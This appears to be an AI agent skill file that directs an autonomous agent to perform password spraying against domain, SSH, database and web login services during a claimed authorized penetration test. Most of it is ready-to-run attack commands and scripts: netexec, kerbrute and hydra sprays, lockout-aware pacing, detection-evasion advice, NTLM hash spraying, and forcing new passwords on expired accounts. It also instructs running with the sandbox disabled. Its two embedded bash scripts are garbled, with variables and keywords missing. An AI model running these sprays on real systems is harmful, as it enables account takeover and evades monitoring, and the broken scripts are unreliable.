password-spraying

name	password-spraying
description	Performs password spraying against authentication services with lockout-safe techniques. Works against AD (SMB/Kerberos/LDAP), SSH, web login forms, OWA, and any service with username/password auth. Service-agnostic — the orchestrator passes target services and spray intensity tier.
keywords	["password spray","spray passwords","domain spray","brute force domain","find valid credentials","lockout policy","kerbrute spray","credential guessing","smb spray","winrm spray","ssh spray","mssql spray","mysql spray","web login spray","hydra","nxc spray"]
tools	["kerbrute","netexec","hydra","SpearSpray","DomainPasswordSpray","spray.sh"]
opsec	high

Password Spraying

You are helping a penetration tester perform password spraying against authentication services. All testing is under explicit written authorization.

OPSEC Exception: This skill tests credentials directly against the domain. The Kerberos-first authentication convention does not apply here — spraying IS the authentication attempt. However, Kerberos pre-auth spraying (kerbrute, SpearSpray) is preferred over NTLM spraying because it generates Event 4771 instead of 4625, which is less commonly monitored.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

• Print [password-spraying] Activated → <target> to the screen on activation.
• Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• Username list (from RID cycling, kerbrute, LDAP, or BloodHound)
• Network access to DC (port 88 for Kerberos, 445 for SMB, 389 for LDAP)
• Tools: kerbrute, netexec (nxc), optionally SpearSpray, DomainPasswordSpray, spray.sh

WARNING: Always enumerate password policy before spraying. Spraying without knowing the lockout threshold risks locking out accounts.

Step 1: Enumerate Password Policy

From Linux (Unauthenticated)

Primary — LDAP anonymous query (most reliable, returns structured data):

# Query lockout + password attributes from domain root object
ldapsearch -x -H ldap://DC01.DOMAIN.LOCAL -b "DC=DOMAIN,DC=LOCAL" -s base \
  '(objectClass=*)' lockoutThreshold lockOutObservationWindow \
  lockoutDuration minPwdLength pwdProperties

Returns integer values directly:

• lockoutThreshold: 0 = no lockout (spray freely)
• lockoutThreshold: 5 = 5 attempts before lockout
• Duration/window values are negative 100ns intervals — divide abs(value) by 600,000,000 to get minutes (e.g., -18000000000 = 30 minutes)

Requires anonymous LDAP bind (common on misconfigured DCs).

Secondary — NetExec SAMR query (human-readable output):

nxc smb DC01.DOMAIN.LOCAL -u '' -p '' --pass-pol
nxc smb DC01.DOMAIN.LOCAL -u 'guest' -p '' --pass-pol

Look for "Account Lockout Threshold" in the output. "None" = 0 = no lockout.

Tertiary — enum4linux-ng (modern Python rewrite of enum4linux):

enum4linux-ng -P DC01.DOMAIN.LOCAL

Note on rpcclient: rpcclient -c "getdompwinfo" returns min password length and password properties only — it does NOT return lockout threshold, observation window, or lockout duration. Do not rely on it for lockout policy.

From Linux (Authenticated)

# NetExec with valid creds
nxc smb DC01.DOMAIN.LOCAL -u 'user' -p 'Password123' --pass-pol

# With Kerberos
nxc smb DC01.DOMAIN.LOCAL --use-kcache --pass-pol

From Windows

# Built-in
net accounts /domain

# PowerView
(Get-DomainPolicy)."SystemAccess"

Key Values to Record

Policy Setting	What to Record
Lockout threshold	Max failed attempts before lockout (0 = no lockout)
Observation window	Time window for counting failures (minutes)
Lockout duration	How long accounts stay locked (minutes)
Min password length	Informs password list generation
Complexity requirements	Whether special chars/numbers are required
Password history	Number of previous passwords remembered

Critical: If lockout threshold is 0, there is no lockout — spray freely. If threshold is low (1-3), extreme caution is needed.

Fine-Grained Password Policies (PSOs)

Different groups may have different lockout thresholds. SpearSpray handles this automatically. To check manually:

# bloodyAD
bloodyAD -u user -p 'Password123' -d DOMAIN.LOCAL --host DC_IP \
  get search --filter '(objectClass=msDS-PasswordSettings)' \
  --attr cn,msDS-LockoutThreshold,msDS-LockoutObservationWindow

# PowerView
Get-DomainFineGrainedPasswordPolicy

Step 2: Verify Usernames

The orchestrator passes usernames in the agent prompt. Write them to engagement/evidence/usernames.txt as described in the File-Based Spray Model section above.

If the orchestrator did NOT provide usernames and you need to enumerate:

# RID cycling (unauthenticated)
nxc smb DC01.DOMAIN.LOCAL -u 'guest' -p '' --rid-brute 10000 \
  | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > engagement/evidence/usernames.txt

# kerbrute user enumeration (Kerberos — stealthier, generates 4771)
kerbrute userenum -d DOMAIN.LOCAL --dc DC01.DOMAIN.LOCAL \
  /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

File-Based Spray Model

All spraying uses wordlist files. Never pass passwords inline to tools.

The agent creates files in engagement/evidence/ before spraying. This ensures reproducibility, prevents shell escaping bugs, and lets the operator review what will be tested.

Files to Create

File	Contents	When
engagement/evidence/usernames.txt	One username per line	Always, from orchestrator-provided list
engagement/evidence/wordlist.txt	Agent-generated context passwords (domain/hostname/season — NOT usernames)	Always, before first spray round
(SecLists path)	External wordlist, referenced by path	All tiers (size varies by tier)

wordlist.txt — Agent-Generated Context Passwords

Build wordlist.txt from known engagement context. These are the ONLY passwords the agent may generate. Do NOT invent, guess, or improvise passwords beyond these patterns.

Do NOT include usernames in wordlist.txt. Username-as-password is handled in Round 1 by passing usernames.txt as both the user and password file. Adding usernames to wordlist.txt would redundantly re-test them in Round 2.

Patterns to include (substitute real values from context):

cat > engagement/evidence/wordlist.txt << 'WORDLIST'
# === Domain/hostname/company name derivatives ===
{DomainName}1!
{domainname}1!
{DomainName}123
{domainname}123
{Hostname}1!
{hostname}1!
{Hostname}123
{hostname}123

# === Season + year (current + previous, generate dynamically) ===
Winter2026!
Spring2026!
Autumn2025!
Summer2025!
Winter2025!
Spring2025!
WORDLIST

Replace {DomainName} and {Hostname} with actual values (e.g., Megabank, Monteverde). Use both the short name and FQDN where they differ.

That is the complete list. Do not add Password1, Welcome1, or other generic passwords — those come from the SecLists file. Do not add creative guesses like azure_123! or Demo123!. The purpose of wordlist.txt is context-specific passwords that no generic wordlist would contain.

usernames.txt

Write the usernames from the orchestrator prompt, one per line:

cat > engagement/evidence/usernames.txt << 'USERS'
<usernames from orchestrator prompt, one per line>
USERS

Spray Intensity Tiers

The orchestrator passes a spray intensity tier and target services in the agent prompt. Check for them and build the spray plan accordingly. If no tier is specified, default to light.

Every tier sprays the same wordlist.txt. Tiers differ only in which SecLists file is appended.

Light Spray

1. Username-as-password round (special handling — see Spray Execution below)
2. engagement/evidence/wordlist.txt (agent-generated context passwords)
3. /usr/share/seclists/Passwords/Common-Credentials/500-worst-passwords.txt (~500 passwords)

Medium Spray

1. Username-as-password round
2. engagement/evidence/wordlist.txt
3. /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt (~10k passwords)

Heavy Spray

1. Username-as-password round
2. engagement/evidence/wordlist.txt
3. /usr/share/seclists/Passwords/Common-Credentials/100k-most-used-passwords-NCSC.txt (~100k passwords)

Custom Wordlist

1. Username-as-password round
2. engagement/evidence/wordlist.txt
3. Operator-provided wordlist path

HTTP Form Calibration (Web Login Only)

Before spraying a web login form, calibrate success/failure detection:

1. Register a test account (or use one the orchestrator provides)
2. Establish baseline responses — login with known-valid and known-bad creds:

   # Known-bad baseline
   curl -s -o /dev/null -w '%{http_code} %{size_download}' \
     -X POST http://TARGET/login -d 'user=INVALID&pass=INVALID'
   # Known-good baseline
   curl -s -o /dev/null -w '%{http_code} %{size_download}' \
     -X POST http://TARGET/login -d 'user=TESTUSER&pass=TESTPASS'
   

3. Identify the success indicator — status code diff, body size diff, redirect URL, Set-Cookie header, or specific string in response body
4. Build the hydra form string from observed behavior:

   # F= string must match FAILURE response, not success
   hydra -L users.txt -P pass.txt TARGET http-post-form \
     "/login:user=^USER^&pass=^PASS^:F=<failure-indicator>" -u -t 4
   

If you cannot establish a reliable success/failure indicator, report the limitation and return. Do not spray with unreliable detection — it produces false positives that waste downstream agent time.

Spray Execution — Script-Based

Generate a self-contained spray script, then execute it in one shot.

The Bash tool defaults to a 2-minute timeout, but supports up to 10 minutes via timeout=600000. Large spray rounds may exceed even this — for those, use run_in_background=true and check the output later.

The fix: Generate a bash script with all spray rounds baked in, then execute it via Bash with extended timeout. The script runs all rounds sequentially within one process, outputs structured results, and exits.

Step 1: Generate the Spray Script

Write engagement/evidence/spray-runner.sh using the Write tool. The script takes no arguments — all values are embedded from the context the orchestrator provided.

#!/usr/bin/env bash
set -euo pipefail

# === Configuration (agent fills these from orchestrator context) ===
TARGET="TARGET_IP"
DOMAIN="DOMAIN.LOCAL"
USERFILE="engagement/evidence/usernames.txt"
WORDLIST="engagement/evidence/wordlist.txt"
RESULTS="engagement/evidence/spray-results.txt"

# SecLists file (tier-dependent)
# Light:  /usr/share/seclists/Passwords/Common-Credentials/500-worst-passwords.txt
# Medium: /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt
# Heavy:  /usr/share/seclists/Passwords/Common-Credentials/100k-most-used-passwords-NCSC.txt
SECLISTS_FILE="SECLISTS_PATH"

# Services to spray (from operator selection)
SERVICES=(smb)  # e.g., (smb winrm ldap ssh mssql rdp)

# === Spray Execution ===
> "$RESULTS"  # truncate results file

for svc in "${SERVICES[@]}"; do
    echo "========================================" | tee -a "$RESULTS"
    echo "[*] Service: $svc" | tee -a "$RESULTS"
    echo "========================================" | tee -a "$RESULTS"

    # Round 1: Username-as-password
    echo "[*] Round 1: username-as-password" | tee -a 
    nxc   -u  -p  \
        --continue-on-success -d  2>&1 |  -a 
      |  -a 

    
      |  -a 
    nxc   -u  -p  \
        --continue-on-success -d  2>&1 |  -a 
      |  -a 

    
     [[ -f  ]]; 
          |  -a 
        nxc   -u  -p  \
            --continue-on-success -d  2>&1 |  -a 
          |  -a 
    
          |  -a 
    


  |  -a 
  |  -a 


  |  -a 
  |  -a 
grep -E   2>/dev/null ||   |  -a 

Agent responsibilities when generating the script:

1. Replace TARGET_IP, DOMAIN.LOCAL, and SECLISTS_PATH with real values
2. Set the SERVICES array to match operator-selected services
3. For hydra-only protocols (FTP, HTTP POST form), add hydra commands instead of nxc (see Service Protocol Commands below)
4. Write the script via the Write tool, then chmod +x

Step 2: Execute via Bash

Run the script with an extended timeout (10 minutes). Spray scripts are non-interactive batch jobs — they run and exit. Use Bash, not start_process:

Bash(command="bash engagement/evidence/spray-runner.sh", timeout=600000, dangerouslyDisableSandbox=true)

If the spray may exceed 10 minutes (very large user lists or many services), use run_in_background=true and check the output later via TaskOutput.

Step 3: Parse Results

After the script completes:

1. Read engagement/evidence/spray-results.txt for the full output
2. Extract valid credentials from the === VALID CREDENTIALS === section
3. Close the session: close_session(session_id=..., save_transcript=true)
4. Include all findings in your return summary

Spray Rounds Reference

The script above embeds three rounds per service. For reference, the rounds are:

Round 1: Username-as-password — usernames file as both user and password list (N×N attempts). Catches users who set another user's name as password.

Round 2: Context wordlist — engagement/evidence/wordlist.txt with domain/hostname/seasonal derivatives (see wordlist.txt section above).

Round 3: SecLists — tier-dependent external wordlist (500/10k/100k passwords).

Service Protocol Commands

Use nxc (netexec) for all supported protocols. Only fall back to hydra for protocols netexec does not support, or kerbrute for Kerberos-only environments (see NTLM-Disabled Environments below).

# SMB (most common)
nxc smb TARGET -u USERFILE -p PASSFILE --continue-on-success -d DOMAIN

# LDAP
nxc ldap TARGET -u USERFILE -p PASSFILE --continue-on-success

# WinRM (if 5985/5986 open)
nxc winrm TARGET -u USERFILE -p PASSFILE --continue-on-success

# RDP
nxc rdp TARGET -u USERFILE -p PASSFILE --continue-on-success

# MSSQL
nxc mssql TARGET -u USERFILE -p PASSFILE --continue-on-success

# SSH
nxc ssh TARGET -u USERFILE -p PASSFILE --continue-on-success

# FTP (hydra — nxc does not support FTP)
hydra -L USERFILE -P PASSFILE ftp://TARGET -u -t 4 -o spray-ftp.log

# HTTP POST form (hydra — adjust form params and failure string)
hydra -L USERFILE -P PASSFILE TARGET http-post-form \
  "/login:username=^USER^&password=^PASS^:F=Invalid credentials" \
  -u -t 4 -o spray-web.log

Critical flags:

• --continue-on-success — don't stop at first valid credential.
• -d DOMAIN — for domain-joined services (SMB, WinRM). Omit for local auth.

Do NOT use --no-bruteforce for spray rounds. Despite its name, --no-bruteforce does line-by-line matching (user1:pass1, user2:pass2) — if the password file is longer than the user file, extra passwords are silently skipped. Without it, nxc tests all combinations (every password against every user), which is what spray mode requires. Use lockout-aware pacing (below) to stay safe.

NTLM-Disabled Environments

When NTLM is disabled (STATUS_NOT_SUPPORTED on SMB/LDAP auth), the default nxc spray script will fail. Two options:

Option A — nxc with Kerberos (preferred, simpler):

Add --kerberos to all nxc commands in the spray script. nxc handles Kerberos authentication natively — no script restructuring needed:

nxc smb TARGET -u USERFILE -p PASSFILE --continue-on-success -d DOMAIN --kerberos
nxc ldap TARGET -u USERFILE -p PASSFILE --continue-on-success --kerberos

This is a drop-in flag — the spray script template works as-is with this addition. Use this approach when the operator selected nxc-compatible services (SMB, LDAP, WinRM).

Option B — kerbrute loop (Kerberos pre-auth, stealthier):

Use the kerbrute spray script variant (see below). Generates Event 4771 instead of 4625. Use when OPSEC matters or when nxc Kerberos auth fails.

Detection: If the orchestrator context mentions NTLM disabled, Kerberos- only, or STATUS_NOT_SUPPORTED, you MUST use one of these approaches. Do not attempt standard nxc commands without --kerberos — they will silently fail.

Lockout-Aware Spray Pacing

If the lockout policy has a non-zero threshold, pace the spray to avoid lockouts:

safe_attempts = lockout_threshold - 2  # leave buffer
wait_time = observation_window + 1 minute  # wait for counter reset

Example: threshold=5, window=30min → spray 3 passwords per user, wait 31 minutes, resume. The builtin Administrator (RID 500) cannot be locked out regardless of policy — always safe to spray.

If you have authenticated access, check current badPwdCount per user before spraying to identify accounts already close to lockout:

nxc ldap DC01.DOMAIN.LOCAL -u 'user' -p 'Password123' --users

OPSEC: Kerberos vs NTLM Spraying

Protocol	Detection Event	Commonly Monitored?
Kerberos pre-auth (kerbrute)	4771 (pre-auth failure)	Less commonly
SMB/NTLM (netexec)	4625 (logon failure)	Yes, standard SIEM rule
LDAP (netexec)	4625 (logon failure)	Yes

For OPSEC-sensitive engagements where detection matters, use kerbrute for Kerberos pre-auth spraying instead of netexec SMB/LDAP. For CTF/lab or engagements where OPSEC is not a concern, netexec is simpler and preferred.

kerbrute (Kerberos Pre-Auth)

CRITICAL: kerbrute passwordspray takes a SINGLE password string, NOT a wordlist file. Passing a file path as the password argument will literally test the file path string as the password (e.g., trying the password /home/user/wordlist.txt against all users). This is silent, wrong, and wastes the entire spray.

Single password usage:

kerbrute passwordspray -d DOMAIN.LOCAL --dc DC01.DOMAIN.LOCAL \
  users.txt 'Spring2026!' -v

To spray a wordlist with kerbrute, loop through it:

while IFS= read -r pass || [[ -n "$pass" ]]; do
    [[ -z "$pass" || "$pass" == \#* ]] && continue
    kerbrute passwordspray -d DOMAIN.LOCAL --dc DC01.DOMAIN.LOCAL \
      users.txt "$pass" 2>&1 | tee -a spray-results.txt
done < wordlist.txt

Kerbrute Spray Script Variant

When using kerbrute instead of nxc (NTLM-disabled environments or OPSEC- sensitive engagements), generate this spray script variant:

#!/usr/bin/env bash
set -euo pipefail

# === Configuration (agent fills these from orchestrator context) ===
TARGET_DC="DC01.DOMAIN.LOCAL"
DOMAIN="DOMAIN.LOCAL"
USERFILE="engagement/evidence/usernames.txt"
WORDLIST="engagement/evidence/wordlist.txt"
RESULTS="engagement/evidence/spray-results.txt"
SECLISTS_FILE="SECLISTS_PATH"

# === Helper: spray one password against all users ===
spray_one() {
    local pass="$1"
    kerbrute passwordspray -d "$DOMAIN" --dc "$TARGET_DC" \
      "$USERFILE" "$pass" 2>&1
}

# === Spray Execution ===
> "$RESULTS"

echo "========================================" | tee -a "$RESULTS"
echo "[*] Kerbrute spray — $(wc -l < "$USERFILE") users" | tee -a "$RESULTS"
echo "========================================" | tee -a "$RESULTS"

# Round 1: Username-as-password
echo "[*] Round 1: username-as-password" | tee -a ""
 IFS=  -r user || [[ -n  ]]; 
    [[ -z  ]] && 
    spray_one  |  -a 
 < 
  |  -a 


  |  -a 
 IFS=  -r pass || [[ -n  ]]; 
    [[ -z  ||  == \#* ]] && 
    spray_one  |  -a 
 < 
  |  -a 


 [[ -f  ]]; 
    total=$( -l < )
      |  -a 
    count=0
     IFS=  -r pass || [[ -n  ]]; 
        [[ -z  ||  == \#* ]] && 
        spray_one  |  -a 
        count=$((count + ))
         (( count %  ==  )); 
              |  -a 
        
     < 
      |  -a 

      |  -a 


  |  -a 
  |  -a 
  |  -a 
  |  -a 
grep -i   2>/dev/null ||   |  -a 

When to use this variant instead of the nxc script:

• NTLM disabled and nxc --kerberos fails or is unavailable
• OPSEC-sensitive engagement (generates 4771 instead of 4625)
• Operator explicitly requests kerbrute

Execute the same way — write via Write tool, chmod +x, run via Bash with timeout=600000.

Hash Spray (Lateral Movement)

When you have a recovered NTLM hash, spray it across targets:

nxc smb 10.10.10.0/24 -u 'Administrator' \
  -H 'aad3b435b51404eeaad3b435b51404ee:NTHASH' \
  --local-auth | grep "Pwn3d"

Step 3: Validate and Exploit Hits

Credential Verification (Mandatory Before State Writes)

Every hit must be double-verified before calling add_credential(). Spray tools produce false positives from redirect chains, WAF interference, and inconsistent response parsing. Re-test each hit individually:

# Re-test with curl (HTTP login) — compare response to known-bad baseline
curl -s -o /dev/null -w '%{http_code} %{size_download} %{redirect_url}' \
  -X POST http://TARGET/login -d 'user=HITUSER&pass=HITPASS'

# Re-test with nxc (AD/SSH/SMB) — single credential, verbose
nxc SERVICE TARGET -u 'HITUSER' -p 'HITPASS' -d DOMAIN 2>&1

Only call add_credential() when the re-test confirms access. If re-test fails, discard the hit and note it as a false positive in your return summary.

Verify Access Level

Pwn3d! means different things per protocol. Report the correct privilege:

Protocol	Pwn3d! means	Privilege to report
SMB	Local admin (can write to ADMIN$)	admin
WinRM	Can connect (Remote Management Users)	user
RDP	Can log in (Remote Desktop Users)	user
MSSQL	Can authenticate	user
LDAP	Can bind	user

Only SMB Pwn3d! confirms local admin. WinRM Pwn3d! does NOT mean admin — it means the user is in Remote Management Users or equivalent. Do not report privilege: admin from WinRM Pwn3d! alone.

# Check SMB access — Pwn3d! here = local admin
nxc smb DC01.DOMAIN.LOCAL -u 'valid_user' -p 'CrackedPass' -d DOMAIN.LOCAL

# Check shares
nxc smb DC01.DOMAIN.LOCAL -u 'valid_user' -p 'CrackedPass' \
  -d DOMAIN.LOCAL --shares

# Check WinRM access — Pwn3d! here = can connect, NOT admin
nxc winrm DC01.DOMAIN.LOCAL -u 'valid_user' -p 'CrackedPass' \
  -d DOMAIN.LOCAL -x "whoami"

# Check RDP access
nxc rdp DC01.DOMAIN.LOCAL -u 'valid_user' -p 'CrackedPass' -d DOMAIN.LOCAL

Empty Password / Must-Change Technique

Spray empty passwords to find accounts with expired/must-change passwords:

# Spray empty password
nxc smb DC01.DOMAIN.LOCAL -u users.txt -p '' --continue-on-success

# STATUS_PASSWORD_MUST_CHANGE = expired password
# Change it via SAMR (no old password needed for must-change accounts):
NEWPASS='P@ssw0rd!2025#'
nxc smb DC01.DOMAIN.LOCAL -u 'target_user' -p '' \
  -M change-password -o NEWPASS="$NEWPASS"

Get Domain Password Policy (Post-Auth)

nxc smb DC01.DOMAIN.LOCAL -u 'valid_user' -p 'CrackedPass' \
  -d DOMAIN.LOCAL --pass-pol

Step 4: Escalate or Pivot

STOP and return to the orchestrator with:

• What was achieved (RCE, creds, file read, etc.)
• New credentials, access, or pivot paths discovered
• Context for next steps (platform, access method, working payloads)

Troubleshooting

Account Lockouts

• Immediate response: Stop all spray operations
• Check: Re-query password policy — you may have hit a Fine-Grained Password Policy with a lower threshold
• Recovery: Lockout duration is typically 30 minutes. Wait and resume with fewer attempts per round

KRB_AP_ERR_SKEW (Clock Skew — kerbrute path only)

Kerberos requires clocks within 5 minutes of the DC. This applies to the kerbrute-based spraying path, not NTLM-based spraying. This is a Clock Skew Interrupt — stop immediately and return to the orchestrator. Do not retry or fall back to NTLM. The fix requires root:

sudo ntpdate DC_IP
# or
sudo rdate -n DC_IP

No Lockout Threshold (0)

If lockout threshold is 0, there is no lockout protection. You can spray aggressively, but still prefer Kerberos pre-auth for detection avoidance.

Valid Creds but ACCESS_DENIED

• Account may be disabled, expired, or restricted to specific workstations
• Check userAccountControl flags via LDAP
• Try different protocols (SMB may fail but WinRM may work, or vice versa)
• Try local authentication: nxc smb TARGET -u user -p pass --local-auth